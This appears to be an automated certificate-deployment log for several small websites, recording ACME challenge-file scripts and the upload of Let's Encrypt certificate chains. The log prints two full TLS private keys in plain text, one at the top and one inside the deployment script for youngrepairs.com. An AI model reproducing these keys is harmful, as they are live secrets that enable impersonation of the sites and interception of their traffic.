fsUuSFkYqeh9uf0HlskNd0ZHurbMsWEWPZ9pdmjDtIcJxotScx1RXdUeD0+u6iSe
9me27rbJqst1zdzymQn4T5bt8K8iwUkV0MVVFNIq3RuKbncedaYM/fpZQgIOu01j
Cv3RNkcp6b0CbhdW7DJGkffiqud/d1JjtjKzhBZv/GgpP7WSx/oO2A9hpVo0EVmo
HLVGXjLl/SuD6bdZ9Ric6Zr+YGaVLItAJVZ1GymCoQ/BqulSouWt2yyUf1+/a26n
cC4WuiX7rq8BYg9WPy0XQHUaRrwZSfwdK6rzAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUZcsOl+VllGaKf4NDS6LkPrNi6pcwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG40LmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy8xMC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ8n7ZidAAAE
AwBIMEYCIQCdivbb4iKnLEk12+9MQDlHdkzAsZtN5g6iPy7AEAJoBgIhAOKgRTi3
845nuMSR8qVtrjrCMhSklzJOHBWRW9yxqiuVAH4AGoudaw/+v4G0eTnG0jEKhtbR
AtTwRuIYLJ3jX14mJe8AAAGfJ+2aBgAIAAAFACW99joEAwBHMEUCIQD9jLBshmNF
vM35gzJsjWS9DfOScKVY56maT8mHTm/fBgIgAlp+sxo7yfw5AvWNPdJLaQT/KLLv
OpOstq6KW+AUMBcwDQYJKoZIhvcNAQELBQADggEBAJ2tQcwwRnEbMfZ1H9lsR7yk
P++NCqNmGcdm0sdL8jTz1UBWQeLZNHvtGm5tHLeCrFrjb6H9HNbSsSxquCqrjqPk
pLPGEkMSuf//+T4ZsK37lJLr2JanJO1dBwHVv+6rWZxiSJr6aH1eUS/llGl9N/cK
AM45mhzH5tNG2wvpBB8BEqe82hn5YG4DLBPWnSQaHsil4gzEXYsyQENLqnENE1Ov
FABXD1uwIsj6O5a30VaKf/7JepnElflH289T8QXuVjlQmbiO4mHks4thNmt7WnJk
1LOsOxuF0BZY7eS2jTK9Rk4/9vhvVy3zHQ3nA2GfdCf8HbgcHzxnZTWsfCeupXk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWhCjB61e+8th7
H5PUuTYZxYXLKwiHzOVRFIea4vmv2fBNjVJefsUuSFkYqeh9uf0HlskNd0ZHurbM
sWEWPZ9pdmjDtIcJxotScx1RXdUeD0+u6iSe9me27rbJqst1zdzymQn4T5bt8K8i
wUkV0MVVFNIq3RuKbncedaYM/fpZQgIOu01jCv3RNkcp6b0CbhdW7DJGkffiqud/
d1JjtjKzhBZv/GgpP7WSx/oO2A9hpVo0EVmoHLVGXjLl/SuD6bdZ9Ric6Zr+YGaV
LItAJVZ1GymCoQ/BqulSouWt2yyUf1+/a26ncC4WuiX7rq8BYg9WPy0XQHUaRrwZ
SfwdK6rzAgMBAAECggEAAonSz6Sgx64o+KABiFFevgRT1nkeYzj9960mA6Ou77FF
Ai3rbRnT7H3HrB6KlT5Hq7jRjTq9lqizdA2fR/uXsNBJYhN3S5rRWDrrfGR/Wpk0
yK2VnFnvFT+S4yUFvlGezTIZZ5pNf2hLMj6WRk9PnneeGwq9wjAXccFTozC4Lyku
v6bcB6zeYw+WI6rtBR6rcat9LK0REcE9RQpmQEy43IadjnM2OGIFqa5Xo6Slhort
et5g+1WiLXhXCANtJtZc//OMIroUfat/RyTEyPq28sx5xlu1Qf3o4aJ+Mxnu1Jks
2IeBJrEMdsqnQ0B7E4NeWMwBuQygPR/YquKogPEBtQKBgQDxWIg07fVaPITqGS2B
fgZ9c2u1wZ6dJc9NQXn4u08pFEHUjGnq4QzV6d+/vlIGiyVhGXZ009Gt8j1+OCI2
i44hZNG+Tq0PtaCqz86kFJFEpRDdruGjDRkCwcXSSyp0kGIHU4F6pQfsVvjQr30Y
5LiN3kGNTrx+VwZRSPB9JrWUdwKBgQDjipbkyKK9hIa2mzHax682vmL+Mqx3BWFJ
7t9hBQHOSRubffmXqNdAz1z7GnTQKV9zJYuX1+LgAuo8u5GeOrRwYuJK3W7QXBB2
ZsZn/wOBYqJJkjoFpSoffr/AKrFmzH1Cu1rKhBMJhKB4J80f70pQuRIVnSfu7Cg5
Dk17yzaoZQKBgQDeFBoZolFffErN4uclveKY82lMcWLTteQAcdybjTg1U6eTvrUD
5ZxbBn7WQHnX/ZgitjxzGipaRophJ6QLzvS1M8FwvZKv3vB93QSHpUlbAgz4ACEu
WTIHgGjYrkPdyLH7jdKaGVumFQ2VcbXJ/0T3fmmRbr8x/kAY8eYhM0po1wKBgA5J
fm4BFw7VSmwe1IOLNDo4vBh/8ApNIS22PPpniRR9zKj3wPs/07wzCQCPSbRkVKTz
P4+aM5mjNTf5AwyvXPMNkm3m93VHwpTcoSqYfYzbN5ts/g2qsDloCPw08gylXFwb
TXkXz+YyGK1SunN93+mvpS4MPxymYWQrvLvAJ79tAoGBAJLeUPwZom1W+JTfV3Bc
/RvK6wWj7ffkLxz1Ta+uTb+W24Xw3Q9cMUwahOyhg2qJ/vTGWHYvZWb9vFgbg3Bm
y71ELuLNxmm6jh+zvv//I+vBcokFWUHJ3zHc+tucuVC4LRZ23SStpvKwXHxx7J/i
1MtR+VC3PZWJjVACA0WNX8Ex
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-04 06:00:03: Establishing a connection
2026-07-04 06:00:03: Establishing a connection
2026-07-04 06:00:04: 

PUT: /tmp/pkp592201

#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 06:00:05: 

chmod 755 /tmp/pkp592201; /tmp/pkp592201; rm /tmp/pkp592201

2026-07-04 06:00:05: 


0


2026-07-04 06:00:07: Establishing a connection
2026-07-04 06:00:07: Establishing a connection
2026-07-04 06:00:08: 

PUT: /tmp/pkp494908

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 06:00:08: 

chmod 755 /tmp/pkp494908; /tmp/pkp494908; rm /tmp/pkp494908

2026-07-04 06:00:08: 


1


2026-07-04 06:00:08: Establishing a connection
2026-07-04 06:00:08: 

PUT: /tmp/pkp798672

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > astYzBzze29EReF2J95O0qRsGekDnDnVVJUA7sRJlio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
astYzBzze29EReF2J95O0qRsGekDnDnVVJUA7sRJlio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 astYzBzze29EReF2J95O0qRsGekDnDnVVJUA7sRJlio


2026-07-04 06:00:08: 

chmod 755 /tmp/pkp798672; /tmp/pkp798672; rm /tmp/pkp798672

2026-07-04 06:00:08: 




2026-07-04 06:00:10: Establishing a connection
2026-07-04 06:00:11: Establishing a connection
2026-07-04 06:00:12: 

PUT: /tmp/pkp559553

#!/bin/bash
if [ -d "/var/www/youngrepairs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-04 06:00:13: 

chmod 755 /tmp/pkp559553; /tmp/pkp559553; rm /tmp/pkp559553

2026-07-04 06:00:13: 


1


2026-07-04 06:00:14: Establishing a connection
2026-07-04 06:00:15: 

PUT: /tmp/pkp441698

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cat > hL5qxD35FYIUSp8q_lMet7vds-5A4mBu3jrp0H0Mz34 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hL5qxD35FYIUSp8q_lMet7vds-5A4mBu3jrp0H0Mz34.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hL5qxD35FYIUSp8q_lMet7vds-5A4mBu3jrp0H0Mz34
cat > 8h8kEochTNoLDh1V1ezEV0IIG0DJc_y4MjFeTaYRdpQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8h8kEochTNoLDh1V1ezEV0IIG0DJc_y4MjFeTaYRdpQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8h8kEochTNoLDh1V1ezEV0IIG0DJc_y4MjFeTaYRdpQ


2026-07-04 06:00:16: 

chmod 755 /tmp/pkp441698; /tmp/pkp441698; rm /tmp/pkp441698

2026-07-04 06:00:16: 




2026-07-04 06:00:26: Establishing a connection
2026-07-04 06:00:27: 

PUT: /tmp/pkp431266

#!/bin/bash
mkdir -p "/var/www/youngrepairs_www/.well-known/acme-challenge/"
cd "/var/www/youngrepairs_www/.well-known/acme-challenge/"
rm hL5qxD35FYIUSp8q_lMet7vds-5A4mBu3jrp0H0Mz34
rm 8h8kEochTNoLDh1V1ezEV0IIG0DJc_y4MjFeTaYRdpQ


2026-07-04 06:00:28: 

chmod 755 /tmp/pkp431266; /tmp/pkp431266; rm /tmp/pkp431266

2026-07-04 06:00:28: 




2026-07-04 06:00:28: Establishing a connection
2026-07-04 06:00:29: 

PUT: /tmp/pkp912352

#!/bin/bash
temp_file=$(mktemp)
TARGET=76526c88d7a3ad40c19457afe65bc2f6.crt

cat > $temp_file <<'endmsg'
b1:fe:90:09:b3:bc:33:9b:d8:4e:f4:47:34:21:82:53

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBRAqJKQU1Hzj+vYRnUOORiIVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzA0MDUwMTU1WhcNMjYxMDAyMDUwMTU0WjAbMRkwFwYDVQQD
ExB5b3VuZ3JlcGFpcnMuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAu6OEATO8behu1gLlkU5hXGHL3AvgqEZF7hhCuxdv94SgMn8kYuBg0/S7zT1/
0FfMOJMy/l5kXyso1VbW+gD+v30Hach/IchPMOr/TmSpIS00FaQD2amc7kVbl/t8
VnZu07JwPGeoxkC8AwFX0v5zceDwoMlSzq5IZn1K0L0VjbRSl7PjvEqB2Ket46SG
78Av9NhAXLGx9g6pPIYbZ2ihMSVLn87QTUHeQDqyFhqvDcdwbddbm9bhpwkvlIyr
BuCrSQA34SqHuN/pyqFMalmJthZ7EzSyONKWr1EwuTgbOFJxV5SNGsZtAqHFbdV7
Snido87KVydM78Buxd7UTJxfAwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFAMK
L75NhgNry9peGjJnPFTADmu6MB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxVePr3
1Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIUd3d3LnlvdW5ncmVwYWlycy5jb22CEHlvdW5n
cmVwYWlycy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yMi5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8r
tsQ/AAAEAwBHMEUCIQDqcju0Mu0X2gqRiF/qv9LlnS/Gk6v0mBZ3gqok94jPBQIg
cb+uPdhTZa8NbsXPc6Joe4CZTjlyjHuxRqilEk9A0pwAfwAm42RuWGkhI7w0P0ck
NZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ8rtsI5AAgAAAUAJTbNGwQDAEgwRgIhAMj6
0B2Ao8kDHVr02LotiyjsAMcV99Pg1B6XVZpRab6TAiEAqMQz/Fc5+IKUqRwW7VoJ
VbPE4QHjCVlC3LlheIJngyEwDQYJKoZIhvcNAQELBQADggEBAB1tA/AZBoqZ0Jr1
V5yAbAbt7/9uAisNm2R/uwTODIUo6HSsdpO0dp5OA1piNRomVVh6sOzBccXYj2K1
4gybZdtgAg7XYMyhTy4KOB63GhX3jPGuuZQWqqV/FJp+Hgkr6hCpeUx7+kXlltum
AfuuDk6GP9BZakJ5PZ+KDptRwIdTQrC1Lu1xkBA0CX37lY0rbhuMCebu8jqO0fOG
EhtUBIs/mvw+ndkGZ5QYS7FxBNrj1FhmsgXqXFqqMq9ZUIdfrS3+UbiAgouOAoAB
O1p++sySoDZhi+GafAhNB1vihLx24m6YpZTLGY2FeHBZ2rg/DYCCmT2wqvcd94cZ
UIVsK1U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC7o4QBM7xt6G7W
AuWRTmFcYcvcC+CoRkXuGEK7F2/3hKAyfyRi4GDT9LvNPX/QV8w4kzL+XmRfKyjV
Vtb6AP6/fQdpyH8hyE8w6v9OZKkhLTQVpAPZqZzuRVuX+3xWdm7TsnA8Z6jGQLwD
AVfS/nNx4PCgyVLOrkhmfUrQvRWNtFKXs+O8SoHYp63jpIbvwC/02EBcsbH2Dqk8
hhtnaKExJUufztBNQd5AOrIWGq8Nx3Bt11ub1uGnCS+UjKsG4KtJADfhKoe43+nK
oUxqWYm2FnsTNLI40pavUTC5OBs4UnFXlI0axm0CocVt1XtKeJ2jzspXJ0zvwG7F
3tRMnF8DAgMBAAECggEATNnqBPwFnxZl3u2MzPjHU6kSb+vFdeZiWeRB4JL23u/J
FSWR55Vy0x0XljYsFU8Aa+OOLTTH81qf/ND2d6rUq+UvlhnySAnctXJqYtdDlj0H
ah2lHg8kIUry+sqb4GXdeoNJCNSEAb8dwjVYnShubCPvKkuKyPAE40VJ0TjAjSqs
CklYVB6g5hWMZSszqr8XVrtEJNEidMC+ZBfHt+qL66cmQtcAolDh082bK43Pn2V0
wsRVrcVy4BENM/I11lkEbC7zywrvDcbBzJRVWEHMu4gvR/1EHQBH6DIvNjni02Ga
CU5GaiIsftcL5xDSVm5U6lj9amsnrU944eIGvDkQQQKBgQDpq9KUwKvaxJD67/IS
ThuZemUuHoynbVrJqubU//A3A9O0nwUTVCgvNIWalGqzGHxP95es8Ncirm4DGRXZ
oDcUA90fNCtb3E1dfOyWih/4Hj9P9dwS5bAS17QwwSTTxqUU9WYFAijD3XfOGzcd
RW/9vY1nBmaH4X0XLruU8RNn0QKBgQDNkaACpskyxiBnRrapwS9fqN8LTH7jrh2S
4YsFBPd43NBSfL3g+SmDqeEWbWbcL/6nwXzP5Rbld99acUitueo1T4UGiS/UZdqi
jQNf8HJJf2DNiHa9eqdSmy8iy5obdw1ZiGKbn+gB6JtDFf4gm0wAlP+j3pYPk1+l
oXLIWU4ikwKBgQDbM9NkteXBYNp8fLECWQFtFbNq8z+RJHWhb1ABimKmyVFFRFO3
kR/tQIEAxK/feF3Nin9fvcKjhywufc7Qi4p/nSxGxGLUVrLAu5sZkVNyJ7XO5d3g
YFWvJ2iiv90zSUq9gYOFuUPSkaR81Wz7aZMoXjQS7J8sYuw83hscGpbQsQKBgH8R
+IYLES3ImPkeFgWi/CS2n4E9fOZCl9dWgffNVSgp3sBOiZUKj+XqWc/iOoX7SP/r
s7pS0y9vROqEQjfZR3RCvmkG3kD94QNABYkFebADBBSouTVxHwMKGD36+zzk/6SL
kODAHMspPOhgLOF8/aMSd1+VVM81+xbIUMqVoZ3vAoGAASHF8Jt8Z2OtgKzZ3b1j
eoHWf+QPwH6acW4z9+EHXR2eqOGjRz3biyX9rcyu3lER9YBdze+BN5fBfSX46y4h
5VXJ+IrXVvdDXEmhVF+EbXy14+5gRQZZgpPakh3qIYA/8J7d7t/aeJuW6I87xbo2
rmsU523CMLFVDgxZRadEJ6w=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
